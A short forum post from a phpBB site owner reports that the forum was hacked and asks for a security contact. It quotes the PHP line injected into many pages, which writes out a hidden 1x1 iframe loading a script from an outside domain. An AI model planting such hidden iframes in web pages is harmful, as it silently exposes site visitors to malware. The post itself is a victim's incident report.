I had only gone out for half an hour and in that time my forum was hacked. I'm not sure exactly how they did it yet, but it seems that many forum pages were edited (presumably by some bot of some kind) and had code like this added to each page:
Code: Select all
<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
I'm restoring my backups as of now. At this stage I haven't a clue whether the board itself was hacked or if they somehow managed to obtain the FTP password (database looks OK at the moment).
Is there someone on the phpBB security team I can contact?